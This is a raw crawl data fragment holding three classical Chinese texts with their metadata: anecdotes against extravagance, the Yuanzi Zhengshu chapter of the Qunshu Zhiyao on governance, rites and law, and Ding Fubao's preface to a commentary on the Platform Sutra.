質\n秦始皇帝既兼天下。侈靡奢泰。有方士韓客侯生、齊客盧生相與謀曰。當今時不可以居。上樂以刑殺爲威。下畏罪持禄。莫敢盡忠。上不聞過而日驕。下懾服以慢欺而取容。諫者不用而失道滋甚。吾黨久居且爲所害。乃亡去。始皇聞之。大怒曰。吾聞諸生多爲妖言以亂黔首。乃使御史悉上諸生。諸生四百餘人皆坑之。侯生後得。始皇召而見之。侯生曰。陛下肯聽臣一言乎。始皇曰。若欲何言。生曰(生曰之生上有侯字)。今陛下奢侈失本。淫佚趣末。宫室臺閣。連屬增累。珠玉重寶。積襲成山。婦女倡優。數巨萬人。鍾鼓之樂。流漫無窮。輿馬文飾。所以自奉。麗靡爛漫。不可勝極。黔首匱竭。民力殫盡。尚不自知。又急誹謗。嚴威刻下。下喑上聾。臣等故去。臣等不惜臣之身。惜陛下國之亡耳。今陛下之淫。萬丹朱而千昆吾、桀、紂。臣恐陛下之十亡曾不一存。始皇默然久之。曰。汝何不早言。侯生曰。陛下自賢自健。上侮五帝。下凌三王。弃素樸。就末技。陛下亡徵久見矣。臣等恐言之無益而自爲取死。故逃而不敢言。今臣以必死。故爲陛下陳之。雖不能使陛下不亡。欲使陛下自知也。始皇曰。吾可以變乎。侯生曰。刑(刑作形)已成矣。陛下坐而待亡耳。若陛下欲更之。能若堯與禹乎。不然。無冀也。始皇喟然而嘆。遂釋不誅。\n魏文侯問李克曰。刑罰之源安生。對曰。生於奸邪淫佚之行也。凡奸邪之心。飢寒而起。淫佚者。文飾之耗。雕文刻鏤。害農事者也。文繡纂組。傷女功者也。農事害則飢之本。女功傷則寒之源也。飢寒并至而能不爲奸邪者。未之有也。男女飾美以相矜。而能無淫佚者。未嘗有也。故上不禁技功。則國貧民侈。國貧民侈。則貧窮者爲奸邪。而富足者爲淫佚。則驅民而爲邪也。民已爲邪。因以法隨而誅之。則是爲民設陷也。刑罰之起有源。人主不塞其本而督其末。傷國之道也。文侯曰。善。\n季文子相魯。妾不衣帛。馬不食粟。仲孫忌(忌作它)諫曰。子爲魯上卿。妾不衣帛。馬不食粟。人其以子爲愛。且不華國也。文子曰。然。吾觀人之父母。衣粗食蔬。吾是以不敢。且吾聞君子以德華國。不聞以妾與馬。夫德者。得於我。又得於彼。故可行。若淫於奢侈。沉於文章。不能自反。何以守國。仲孫忌慚而退。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022071.html","date":"2017-04-24T03:29:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118963.4\/warc\/CC-MAIN-20170423031158-00186-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.4796212912,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4796212911605835, \"cmn_Hani_score\": 0.27750805020332336, \"nan_Hani_score\": 0.05105055496096611, \"jpn_Jpan_score\": 0.04080872982740402, \"wuu_Hani_score\": 0.033575624227523804, \"zxx_Latn_score\": 0.028225379064679146, \"yue_Hani_score\": 0.01120680756866932}","num_words":64,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.48,"perplexity_score":500.0,"cluster_detection":1} +{"text":"袁子正書\n群書治要卷五十\n禮 政\n治國之大體有四。一曰仁義。二曰禮制。三曰法令。四曰刑罰。四本者具。則帝王之功立矣。所謂仁者。愛人者也。愛人。父母之行也。爲民父母。故能興天下之利也。所謂義者。能辨物理者也。物得理。故能除天下之害也。興利除害者。則賢人之業也。夫仁義禮制者。治之本也。法令刑罰者。治之末也。無本者不立。無末者不成。夫禮教之治。先之以仁義。示之以敬讓。使民遷善。日用而不知也。儒者見其如此。因謂治國不須刑法。不知刑法承其下。而後仁義興於上也。法令者賞善禁淫。居治之要會。商韓見其如此。因曰治國不待仁義。不知仁義爲之體。故法令行於下也。是故導之以德。齊之以禮。則民有耻。導之以政。齊之以刑。則民苟免。是治之貴賤者也。先仁而後法。先教而後刑。是治之先後者也。\n夫遠物難明而近理易知。故禮讓緩而刑罰急。是治之緩急也。夫仁者使人有德。不能使人知禁。禮者使人知禁。不能使人必仁。故本之者仁。明之者禮也。必行之者刑罰也。先王爲禮以達人之性。理刑以承禮之所不足。故以仁義爲不足以治者。不知人性者也。是故失教。失教者無本也。以刑法爲不可用者。是不知情僞者也。是故失威。失威者不禁也。故有刑法而無仁義。久則民忽。民忽則怒也。有仁義而無刑法。則民慢。民慢則奸起也。故曰。本之以仁。成之以法。使兩通而無偏重。則治之至也。夫仁義雖弱而持久。刑殺雖强而速亡。自然之治也。\n經 國\n先王之制。立爵五等。所以立蕃屏。利後嗣者也。是故國治而萬世安。秦以列國之勢而并天下。於是去五等之爵而置郡縣。雖有親子母弟。皆爲匹夫。及其衰。一夫大呼而天下去。及至漢家。見亡秦之以孤特亡也。於是大封子弟。或連城數十。廓地千里。自關已東。皆爲王國。力多而權重。故亦有七國之難。魏興。以新承大亂之後。民人損减。不可則以古治。於是封建侯王。皆使寄地。空民而無其實。王國使有老兵百余人以衞其國。雖有王侯之號。而力儕於匹夫。縣隔千里之外。無朝聘之儀。鄰國無會同之制。諸侯游獵。不得過三十里。又爲設防輔監國之官以司察之。王侯皆思爲布衣不能得。既違宗國蕃屏之義。又虧親戚骨肉之恩。\n昔武王既克殷。下車而封子弟同姓之國五十餘。然亦卜世三十。卜年七百。至乎王赧之後。海内無主。三十餘年。故諸侯之治。則輔車相持。翼戴天子。以禮征伐。雖有亂君暴主。若吴楚之君者。不過恣睢其國。惡能爲天下害乎。周以千乘之賦封諸侯。今也曾無一城之田。何周室之奢泰而今日之儉少也。豈古今之道不同。而今日之勢然哉。未之思耳。夫物莫不有弊。聖人者豈能無衰。能審終始之道。取其長者而已。今雖不能盡建五等。猶宜封諸親戚。使少有土地。制朝聘會同之義。以合親戚之恩。講禮以明其職業。黜陟以討其不然。如是則國有常守。兵有常强。保世延祚。長久而有家矣。\n設 官\n古者三公論王職。六卿典事業。事大者官大。事小者官小。今三公之官。或無事。或職小。又有貴重之官。無治事之實。此官虚設者也。秦漢置丞相九卿之官。以治萬機。其後天子不能與公卿造事。外之而置尚書。又外之而置中書。轉相重纍。稍執機事。制百官之本。公卿之職遂輕。則失體矣。又有兵士而封侯者。古之尊貴者。以職大故貴。今列侯無事。未有無職而空貴者也。世衰禮廢。五等散亡。故有賜爵封侯之賞。既公且侯。失其制。今有卿相之才。居三公之位。修其治(治疑法)。政以安寧。國家未必封侯也。而今軍政之法。斬一牙門將者封侯。夫斬一將之功。孰與安寧天下也。安寧天下者不爵。斬一將之功者封侯。失封賞之意矣。夫離古意制。外内不壹。小大錯貿。轉相重累。是以人執异端。窺欲無極。此治道之所患也。先王置官。各有分職。使各以其屬。達之於王。自己職事。則是非精練。百官奏(奏上下似脱字)則下情不塞。先王之道也。\n政 略\n夫有不急之官。則有不急之禄。國之蛑賊也。明主設官。使人當於事。人當於事。則吏少而民多。民多則歸農者衆。吏少則所奉者寡。使吏禄厚則養足(養足下似脱養足二字)。則無求於民。無求於民。奸軌息矣。禄足以代耕。則壹心於職。壹心於職則政理。政理則民不擾。民不擾則不亂其農矣。養生有制。送終有度。嫁娶宴享。皆有分節。衣服食味。皆有品袠。明設其禮而嚴其禁。如是則國無違法之民。財無無用之費矣。此富民之大略也。\n非先王之法行不得行。非先王之法言不得道。名不可以虚求。貴不可以僞得。有天下坦然知所去就矣。本行而不本名。責義而不責功。行莫大於孝敬。義莫大於忠信。則天下之人知所以措身矣。此教之大略也。夫禮設則民貴行。分明則事不錯。民貴行則所治寡。事不錯則下静壹。此富民致治之道也。禮重而刑輕則士勸。愛施而罰必則民服。士勸則忠信之人至。民服則犯法者寡。德全則教誠。教誠則感神。行深則著厚。著厚則流遠。尚義則同利者相覆。尚法則貴公者相刻。相刻則無親。相覆則無疏。措禮則政平。政平則民誠。設術則政險。政險則民僞。此禮義法術之情也。\n論 兵\n夫爲政失道。可思而更也。兵者。存亡之機。一死不可復生也。故曰。天下難事在於兵。今有人於此。力舉重鼎。氣蓋三軍。一怒而三軍之士皆震。世俗見若人者。謂之能用兵矣。然以吾觀之。此亡國之兵也。夫有氣者。志先其謀。無策而徑往。怒心一奮。天下若無人焉。不量其力。而輕天下之物。偏遇可以幸勝。有數者禦之。則必死矣。凡用兵正體不備。不可以全勝。故善用兵者。我謂之死。則民盡死。我謂之生。則民盡生。我使之勇。則民盡勇。我使之怯。則民盡怯。能死而不能生。能勇而不能怯。此兵之半。非全勝者也。\n夫用戰有四。有大體者難與持久。有威刑者難與争險。善柔者待之以重。善任勢者禦之以堅。用兵能使民堅重者。則可與之赴湯火。可與之避患難。進不可詭。退不可追。所在而民安。盡(盡疑畫誤)地而守固。疑間不能入。權譎不能設也。堅重者。備物者也。備物者無偏形。無偏形故其變無不之也。故禮與法。首尾也。文與武。本末。故禮正而後法明。文用而後武法。故用兵不知先爲政。則亡國之兵也。\n用人有四。一曰以功業期之。二曰與天下同利。三曰樂人之勝己。四曰因才而處任。以功業期之。則人盡其能。與天下同利。則民樂其業。樂人勝己。則下無隱情。因才擇任。則衆物備舉。人各有能有不能也。是以智者不以一能求衆善。不以一過掩衆美。不遺小類。不弃小力。故能有爲也。夫治天下者。其所以行之在一。一者何也。曰公而已矣。故公者。所以攻天下之邪。屏讒慝之萌。兵者傾危之物。死生之機。一物不至。則衆亂興矣。故以仁聚天下之心。以公塞天下之隙。心公而隙塞。則民專而可用矣。公心明故賢才至。一公則萬事通。一私則萬事閉。兵者死生之機也。是故貴公。\n王子主失\n有王子者。著主失之書。子張甚善之。爲袁子稱之曰。夫人之所以貴於大人者。非爲其官爵也。以其言忠信。行篤敬。人主授之不虚。人臣受之不妄也。若居其位不論其能。賞其身不議其功。則私門之路通。而公正之道塞矣。凡世之所患。非患人主之有過失也。患有過欲改而不能得也。是何也。夫奸臣之事君。固欲苟悦其心。夫物未嘗無似象。似象之言。漫潤之諛(漫恐當作浸。諛恐當作譖)。非明者不能察也。奸臣因以似象之言而爲之容説。人主不能别也。是而悦之。惑亂其心。舉動日繆。而常自以爲得道。此有國之常患也。夫佞邪之言。柔順而有文。忠正之言。簡直而多逆。使忠臣之言是也。人主固弗快之矣。今奸臣之言已揜於人主。不自以爲非。忠臣以逆迕之言説之。人主方以爲誣妄。何其言之見聽哉。是以大者刳腹。小者見奴。忠臣涉危死而言不見聽。奸臣饗榮利而言見悦。則天下奚蹈夫危死而不用。去夫榮樂而見聽哉。故有被髪而爲狂。有竄伏於窟穴。此古今之常也。\n凡奸臣者。好爲難成之事。以徼幸成功之利。而能先得人主之心。上之人不能審察而悦其巧言。則見其賞而不見其罰矣。爲人臣有禮未必尊。無禮未必卑。則奸臣知所以事主矣。雖有今日之失。必知明日所以復之塗也。故人主賞罰一不當。則邪人爲巧滋生。其爲奸滋甚。知者雖見其非而不敢言。爲將不用也。夫先王之道。遠而難明。當世之法。近而易知。凡人莫不違其疏而從其親。見其小而暗其大。今賢者固遠主矣。而執遠而難明之物。奸人固近主矣。而執近而易知之理。則忠正之言奚時而得達哉。故主蔽於上。奸成於下。國亡而家破。伍子胥爲吴破楚。令闔閭霸。及夫差立。鴟夷而浮之江。樂毅爲燕王破强齊。報大耻。及惠王立。而驅逐之。夫二子之於國家。可謂有功矣。夫差。惠王足以知之矣。然猶不免於危死者。人主不能常明。而忠邪之道异故也。又况於草茅孤遠之臣。而無二子之功。涉奸邪之門。經傾險之塗。欲其身達。不亦難哉。今人雖有子産之賢。而無子皮之舉。有解狐之德。而無祁奚之直。亦何由得達而進用哉。故有祁奚之直而無宣子之聽。有子皮之賢而無當國之權。則雖荊山之璞。猶且見瓦耳。故有管仲之賢。有鮑叔之友。必遇桓公而後達。有陳平之智。有無知之友。必遇高祖而後聽。桓公。高祖不可遇。雖有二子之才。夫奚得用哉。\n厚 德\n恃門户之閉以禁盗者。不如明其刑也。明其刑不如厚其德也。故有教禁。有刑禁。有物禁。聖人者兼而用之。故民知耻而無過行也。不能止民惡心。而欲以刀鋸禁其外。雖日刑人於市。不能制也。明者知制之在於本。故退而修德。爲男女之禮。妃匹之合。則不淫矣。爲廉耻之教。知足之分。則不盗矣。以賢制爵。令(舊令作有。改之)民德厚矣。故聖人貴恒。恒者德之固也。聖人久於其道而天下化成。未有不恒而可以成德。無德而可以持久者也。\n用 賢\n治國有四。一曰尚德。二曰考能。三曰賞功。四曰罰罪。四者明則國治矣。夫論士不以其德而以其舊。考能不以其才而以其久。而求下之貴上。不可得也。賞可以勢求。罰可以力避。而求下之無奸。不可得也。爲官長非苟相君也。治天下也。用賢非以役之。尚德也。行之以公。故天下歸之。\n故明王之使人有五。一曰以大體期之。二曰要其成功。三曰忠信不疑。四曰至公無私。五曰與天下同憂。以大體期之。則臣自重。要其成功。則臣勤懼。忠信不疑。則臣盡節。至公無私。則臣盡情。與天下同憂。則臣盡死。夫唯信而後可以使人。昔者。齊威王使章子將而伐魏。人言其反者三。威王不應也。自是之後。爲齊將者無有自疑之心。是以兵强於終始也。唯君子爲能信。一不信則終身之行廢矣。故君子重之。漢高祖。山東之匹夫也。無有咫尺之土。十室之聚。能任天下之智力。舉大體而不苛。故王天下。莫之能禦也。項籍。楚之世將。有重於民。横行天下。然而卒死東城者。何也。有一范增不能用。意忌多疑。不信大臣故也。寬則得衆用。賢則多功。信則人歸之。\n悦 近\n孔子曰。爲上不寬。吾何以觀之。苛政甚於猛虎。詩人疾掊剋在位。是以聖人體德居簡。而以虚受人。夫有德則謙。謙則能讓。虚則寬。寬則愛物。世俗以公刻爲能。以苛察爲明。以忌諱爲深。三物具。則國危矣。故禮法欲其簡。禁令欲其約。事業欲其希。簡則易明。約則易從。希則有功。此聖賢之務也。\n漢高祖。山東之匹夫也。起兵之日。天下英賢奔走而歸之。賢士輻凑而樂爲之用。是以王天下而莫之能禦。唯其以簡節寬大。受天下之物故也。是故寬則得衆。虚則受物。信則不疑。不忌諱則下情達而人心安。夫高祖非能舉必當也。唯以其心曠。故人不疑。况乎以至公處物而以聰明治人乎。\n堯先親九族。文王刑於寡妻。物莫不由内及外。由大信而結。由易簡而上安。由仁厚而下親。今諸侯王國之制。無一成之田。一旅之衆。獨坐空宫之中。民莫見其面。其所以防禦之備。甚於仇讎。内無公族之輔。外無藩屏之援。是以兄弟無睦親之教。百姓無光明之德。弊薄之俗興。忠厚之禮衰。近者不親。遠者不附。人主孤立於上。而本根無庇蔭之助。此天下之大患也。聖人者以仁義爲本。以大信持之。根深而基厚。故風雨不愆伏也。\n貴 公\n治國之道萬端。所以行之在一。一者何。曰。公而已矣。唯公心而後可以有國。唯公心可以有家。唯公心可以有身。身也者。爲國之本也。公也者。爲身之本也。夫私。人之所欲。而治之所甚惡也。欲爲國者一。不欲爲國者萬。凡有國而以私臨之。則國分爲萬矣。故立天子所以治天下也。置三公所以佐其王也。觀事故而立制。瞻民心而立法。制不可以輕重。較重即頗邪。法不可以私倚。私倚即奸起。古之人有當市繁之時而竊人金者。人問其故。曰。吾徒見金。不見人也。故其愛者必有大迷。宋人有子甚醜。而以勝曾上之美。故心倚於私者。即所知少也。亂於色者。即目不别精粗。沉於聲者。則耳不别清濁。偏於受(受當作愛)者。即心不别是非。是以聖人節欲去私。故能與物無尤。與人無争也。明主知其然也。雖有天下之大。四海之富。而不敢私其親。故百姓超然背私而向公。公道行。即邪利無所隱矣。向公即百姓之所道者一。向私即百姓之所道者萬。一向公則明不勞而奸自息。一向私則繁刑罰而奸不禁。故公之爲道。言甚約而用之甚博。\n治 亂\n治國之要有三。一曰食。二曰兵。三曰信。三者國之急務。存亡之機。明主之所重也。民之所惡者莫如死。豈獨百姓之心然。雖堯舜亦然。民困衣食。將死亡。而望其奉法從教。不可得也。夫唯君子而後能固窮。故有國而不務食。是責天下之人而爲君子之行也。伯夷餓死於首陽之山。傷性也。管仲分財自取多。傷義也。夫有伯夷之節。故可以不食而死。有管仲之才。故可以不讓而取。然死不如生。争不如讓。故有民而國貧者。則君子傷道。小人傷行矣。君子傷道則教虧。小人傷行則奸起。夫民者君之所求用也。民富則所求盡得。民貧則所求盡失。用而不得。故無强兵。求而皆失。故無興國。明主知爲國之不可以不富也。故率民於農。\n富國有八政。一曰儉以足用。二曰時以生利。三曰貴農賤商。四曰常民之業。五曰出入有度。六曰以貨均財。七曰抑談説之士。八曰塞朋黨之門。夫儉則能廣。時則農修。貴農則穀重。賤商則貨輕。有常則民壹。有度則不散。貨布則并兼塞。抑談説之士則百姓不淫。塞朋黨之門。則天下歸本。知此八者。國雖小必王。不知此八者。國雖大必亡。\n凡上之所以能制其下者。以有利權也。貧者能富之之謂利。有罪者能罰之之謂權。今爲國不明其威禁。使刑賞利禄。壹出於己。則國貧而家富。離上而趣下矣。夫處至貴之上。有一國之富。不可以不明其威刑而納公實之言。此國之所以治亂也。至貴者人奪之。至富者人取之。是以明君不敢恃其尊。以道爲尊。不敢恃其强。以法爲强。親道不親人。故天下皆親也。愛義不愛近。故萬里爲近也。天下同道。萬里一心。是故以人治人。以國治國。以天下治天下。聖王之道也。\n凡有國者。患在壅塞。故不可以不公。患在虚巧。故不可以不實。患在詐僞。故不可以不信。三者明則國安。三者不明則國危。苟功之所在。雖疏遠必賞。苟罪之所在。雖親近必罰。辨智無所横其辭。左右無所開其説。君子卿大夫其敬懼如布衣之慮。故百姓蹈法而無徼幸之心。君制而臣從。令行而禁止。壅塞之路閉。而人主安太山矣。\n夫禮者所以正君子也。法者所以治小人也。治在於君子。功在於小人。故爲國而不以禮。則君子不讓。制民而不以法。則小人不懼。君子不讓。則治不立。小人不懼。則功不成。是以聖人之法。使貴賤不同禮。賢愚不同法。毁法者誅。有罪者罰。爵位以其才行。不計本末。刑賞以其功過。不計輕重。言必出於公實。行必落於法理。是以百姓樂義。不敢爲非也。太上。使民知道。其次。使民知心。其下。使民不得爲非。使民知道者。德也。使民知心者。義也。使民不得爲非者。威禁也。威禁者。賞必行。刑必斷之謂也。此三道者。治天下之具也。欲王而王。欲霸而霸。欲强而强。在人主所志也。\n損 益\n夫服物不稱。則貴賤無等。於是富者逾侈。貧者不及。小人乘君子之器。賈竪襲卿士之服。被文繡。佩銀黄。重門而玉食其中。左右叱咄。頤指而使。是故有財者光榮。無財者卑辱。上接卿相。下雄齊民。珍寶旁流。而刑放於賄。下而法侵。能無虧乎。\n世 治\n天地之道貴大。聖人之道貴寬。無分寸之曲。至直也。以是繩之。則工不足於材矣。無纖分之短。至善也。以是規之。則人主不足於人矣。故凡用人者。不求備於一人。桓公之於寧戚也。知之矣。夫有近會者無遠期。今之爲法曰。選舉之官。不得見人。曰以絶奸私也。夫處深宫之中。而選天下之人。以爲明。奚從而知之。夫交接。人之道。不可絶也。故聖人求所以治交。而不求絶交。人莫問不交。以人禁人。是以私禁私也。先王之用人不然。不論貴賤。不禁交游。以德底爵。以能底官。以功底禄。具賞罰以待其歸。雖使之(之疑交)游。誰敢離道哉。\n刑 法\n禮法明則民無私慮。事業專則民無邪僞。百官具則民不要功。故有國者。爲法欲其正也。事業欲其久也。百官欲其常也。天下之事。以次爲爵禄。以次進士。君子以精德顯。夫德有次則行修。官有次則人静。事有次則民安。農夫思其疆畔。百工思其規矩。士君子思其德行。群臣百官思其分職。上之人思其一道。侵官無所由。離業無所至。夫然。故天下之道正而民壹。\n夫變化者。聖人之事也。非常者。上智之任也。此入於權道。非賢者之所窺也。才智至明而好爲异事者。亂之端也。是以聖人甚惡奇功。\n天下有可赦之心。而有可赦之罪。無可赦之心。而無可赦之罪。明王之不赦罪。非樂殺而惡生也。以爲樂生之實在於此物也。夫思可赦之法。則法出入。法出入則奸邪得容其議。奸邪得容其議則法日亂。犯罪者多而私議并興。則雖欲無赦不可已。夫數賞則賢能不勸。數赦則罪人徼幸。明主知之。故不爲也。夫可赦之罪。千百之一也。得之於一而傷之於萬。治道不取也。故先王知赦罪不可爲也。故所俘虜壹斷之於法。務求所以立法。而不求可赦之法也。\n法立令行。則民不犯法。法不立。令不行。則民多觸死。故曰。能殺而後能生。能斷而後仁立。國之治亂。在於定法。定法則民心定。移法則民心移。法者所以正之事者也。一出而正。再出而邪。三出而亂。法出而不正。是無法也。法正而不行。是無君也。是以明君將有行也。必先求之於心。慮先定而後書之於策。言出而不可易也。令下而不反也。如陰陽之動。如四時之行。如風雨之施。所至而化。所育而長。夫天之不可逆者時也。君之不可逆者法也。使四時而可逆。則非天也。法令而可違。是非君也。今有十人彍弩於百萬之衆。未有不震怖者也。夫十矢之不能殺百萬人可知也。然一軍皆震者。以爲唯無向則已。所中必死也。明君正其禮。明其法。嚴其刑。持滿不發。以牧萬民。犯禮者死。逆法者誅。賞無不信。刑無不必。則暴亂之人莫敢試矣。故中人必死。一矢可以懼萬人。有罪必誅。一刑可以禁天下。是以明君重法慎令。\n人 主\n人主莫不欲得賢而用之。而所用者不免於不肖。莫不欲得奸而除之。而所除者不免於罰賢。若是者。賞罰之不當。任使之所由也。人主之所賞。非謂其不可賞也。必以爲當矣。人主之所罪。非以爲不可罰也。必以爲信矣。智不能見是非之理。明不能察浸潤之言。所任者不必智。所用者不必忠。故有賞賢罰暴之名。而有戮能養奸之實。此天下之大患也。\n致 賢\n雖有離婁之目。不能兩視而明。夔曠之耳。不能兩聽而聰。仲尼之智。不能兩慮而察。夫以天下之至明至智。猶不能參聽而俱存之。而况於凡人乎。故以目雖至明。有所不知。以因。雖凡人無所不得。故善學者假先王以論道。善因者借外智以接物。故假人之目以視。奚適夫兩見。假人之耳以聽。奚適夫兩聞。假人之智以慮。奚適夫兩察。故夫處天下之大道而智不窮。興天下之大業而慮不竭。統齊群言之類而口不勞。兼聽古今之辨而志不倦者。其唯用賢乎。\n明賞罰\n夫干禄者。唯利所在。智足以取當世。而不能日月不違仁。當其用智以禦世。賢者有不如也。聖人明於此道。故張仁義以開天下之門。抑情僞以塞天下之户。相賞(相賞之間。疑有脱字)罰以隨之。賞足榮而罰可畏。智者知榮辱之必至。是故勸善之心生。而不軌之奸息。賞一人而天下知所從。罰一人而天下知所避。明開塞之路。使百姓曉然知軌疏(疏疑迹)之所由。是以賢者不憂。知者不懼。干禄者不邪。是故仁者安仁。智者利仁。畏罪者强仁。天下盡爲仁。明法之謂。\n死者。人之所甚惡也。殺人者。仁人之所不忍也。人之於利欲。有犯死罪而爲之。先王制肉刑。斷人之體。徹膳去樂。諮嗟而行之者。不得已也。刑不斷則不威。避親貴則法日弊。如是則奸不禁而犯罪者多。惠施一人之身。而傷天下生也。聖人計之於利害。故行之不疑。是故刑殺者。乃愛人之心也。涕泣而行之。故天下明其仁也。雖貴重不得免。故天下知其斷也。仁見故民不怨。立斷下不犯。聖王之所以禁奸也。先王制爲八議赦宥之差。斷之以三槐九棘之聽。服念五六日至於旬時。全正義也。而後斷之。仁心如此之厚。故至刑可爲也。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022086.html","date":"2017-04-24T03:33:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118963.4\/warc\/CC-MAIN-20170423031158-00552-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.6537146568,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.653714656829834, \"cmn_Hani_score\": 0.17245279252529144, \"nan_Hani_score\": 0.08034878969192505, \"jpn_Jpan_score\": 0.022195369005203247, \"wuu_Hani_score\": 0.015993041917681694}","num_words":68,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.029,"flagged_words_ratio":0.0,"lang_id_score":0.654,"perplexity_score":500.0,"cluster_detection":1} +{"text":"丁福保居士著\n考唐書方伎傳、後魏之末、有僧號達磨者、本天竺國王之子。以護國出家。入南海、得禪宗妙法。自釋迦文佛相傳有衣缽為記、以世相付受。達磨齎衣缽、航海而來、至梁、詣武帝。帝問以有為之事。達磨不悅。乃之魏、隱於嵩山少林寺。以其法傳慧可。可傳僧璨。璨傳道信。信傳弘忍。忍傳慧能。能於達磨。在中國為六世。故天下謂之六祖。後閱全唐文、見六祖自撰之金剛經註序、及其嗣法法海所撰之壇經序、王摩詰所撰之六祖碑銘。柳子厚所撰之六祖第一碑、劉夢得所撰之六祖第二碑。余因此而於六祖所傳之禪宗、遂心向往之矣。夫所謂禪宗者、非六度中第五度之坐禪、乃第六度之般若波羅蜜也。六祖示不識文字相。故平生無著作。惟法海紀述其說法之語、名曰法寶壇經。在宋時明教大師有校刊本、題名曰法寶記。明教大師曰、法寶記者、蓋六祖之所說其法也。(見鐔津文集十一)稱經者、後人尊其法耳。而非六祖之意也。(見鐔津文集三)余謂宗教家各自尊其教、無不名其所崇奉者曰經。如墨翟之書、初不名經。而其徒苦獲鄧陵之屬、乃尊之為經。(墨經見莊子天下篇)揚子太玄、其本傳及漢志、並未稱經。而當時侯芭之徒、亦尊之為經。此外如老子之稱道德真經、莊子之稱南華真經、列子之稱沖虛真經、以及耶教之聖經、回教之可蘭經、皆其例也。余於壇經、研精覃思者既久。始知与孔子之十翼、子思之中庸、孟氏莊氏之書、洒然多有會通之處。爰撮其大要、而為學者告焉。壇經所謂佛性、實性、真如、自本心、自本性、明心見性、禪定解脫、般若三昧、菩提涅槃、解脫知見、諸佛之本源、不思善、不思惡、即自己本來面目、皆自性之異名也。又謂自性本不生滅、本無去來、本來清淨、本自具足、本不動搖、如如不動、第一義不動、無有一法可得、皆言自性之體也。即彖傳所云艮其止、止其所也。即繫辭所云無思也、無為也、寂然不動也。即洗心退藏於密也。即天下何思何慮也。即中庸所云天命之謂性也。即喜怒哀樂之未發謂之中也。即孟子之萬物之皆備於我也。(即釋氏之自性本自具足)即莊子所述孔顏授受之心齋也。即為善無近名。為惡無近刑。緣督以為經也。即莊子所述之游心於物之初、及不以生生死、不以死死生也。論自性之體、三教之相同者如此。壇經又謂自性真空、能生萬法也。真如有性、所以起念也。用即了了分明、應用便知一切也。引維詰經之能善分別諸法相也。引金剛經之應無所住而生其心也。皆言自性之用也。即彖傳所云時止則止、時行則行。動靜不失其時也。即系辭所云感而遂通天下之故也。即中庸所云發而皆中節謂之和也。即孔子之毋意毋必毋固毋我也。即七十而從心所欲不逾矩也。即莊子所云至人之用心若鏡、不將不迎、應而不藏也。亦即庖丁游刃解牛、及得其環中以應無窮也。壇經又謂眾生是佛。佛性本無差別。但用此心直了成佛。離心無別佛。所以自性自度、自識自見、自淨自定、自悟自解、自修自行、自開心中之佛知見、不假外求、歸依自性天真佛。一悟即見心地上覺性如來。此即孟子性善之說、及人皆可以為堯舜也。亦言性之用也。論自性之用、三教之相同者又如此。自性之體用既已證明、然後再讀壇經、以自本性證乎了義。則天機利者、一悟即入大圓覺海。天機鈍者、亦能得其深處。故謂之圓頓教、謂之最上乘、謂之如來清淨禪、謂之菩薩藏之正宗也。是則六祖者、乃三界之慈父、諸佛之善嗣歟。若夫壇經所載、有何須往生之說、則蓮池大師辯之詳矣。蓮池言壇經皆他人記錄、故多訛誤。其十萬八千東方西方等說、久已辯明。中又云但修十善、何須更願往生。夫十善生天之因也、無佛出世、輪王乃以十善化度眾生。六祖不教人生西方見佛。而但使生天可乎。其不足信明矣。故知執壇經而非淨土者、謬之甚者也。蓮池之說如此。余恐學者因壇經而疑淨土、故錄其言於簡首、使閱者開卷即知、逆防其趨向之或誤。蓋以修淨與參禪、正不相妨。古德所謂有禪有淨土、萬修萬人去。六祖蓮池、各各隨機說法、相需為用、參禪不礙念佛、念佛不礙參禪、在學者之善於圓融耳。此余所以既註十六觀經、阿彌陀經、而又為此經之箋註也。箋註時遇十萬八千十善淨土等說、則引蓮池之言以訂正之。非如效唐人之非國語、宋人之糾謬唐書、明人之正楊正錢、出己意以詆訾古人也。即六祖答西方之問、其主要在使人淨心則淨土。亦未嘗言無西方也。余之箋註是經也、折衷眾說、擇善而從。或別書於冊、或書於片紙、或飲行跳格、而書於本經字句之旁、及書眉之上。久之得數萬言。乃使人錄出、分疏於每句之下、仿王逸註騷、李善註選之例也。其音訓即於每字之下註之、俾學者易於成誦、仿朱晦庵詩傳例也。其註作雙行小字、則仿宋本十三經註疏之例也。唯是能薄材譾、讀書未廣。豐干饒舌、未免卮言。然區區掇拾餖飣、容亦有為初學所未知者。則余敢效宋人之獻曝、曝寧足貴、惟獻焉者之愚誠、有欲已而不能自己者耳。砭頑訂誤、尚有望於後之君子。中華人民建國之八年十月無錫丁福保仲祜序。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/book853.com\/show.aspx?id=1022&cid=86","date":"2017-04-29T21:16:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123590.89\/warc\/CC-MAIN-20170423031203-00615-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.3994647264,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.3994647264480591, \"cmn_Hani_score\": 0.1486925333738327, \"zxx_Latn_score\": 0.07773571461439133, \"und_Tang_score\": 0.039793867617845535, \"jpn_Jpan_score\": 0.034706469625234604, \"nan_Hani_score\": 0.02949773520231247, \"wuu_Hani_score\": 0.023379474878311157, \"und_Xsux_score\": 0.01736307330429554, \"yue_Hani_score\": 0.014267615042626858, \"und_Grek_score\": 0.013630283996462822, \"und_Cyrl_score\": 